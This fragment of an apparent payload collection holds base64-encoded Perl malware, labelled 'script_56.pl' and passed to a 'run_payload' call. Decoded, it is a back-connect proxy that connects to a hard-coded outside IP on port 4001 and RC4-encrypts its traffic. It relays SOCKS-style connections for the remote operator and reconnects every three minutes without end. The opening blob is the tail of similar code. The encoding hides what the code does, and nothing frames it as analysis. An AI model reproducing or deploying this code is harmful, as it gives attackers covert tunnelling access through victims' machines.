DQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_56.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTk4JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3Ry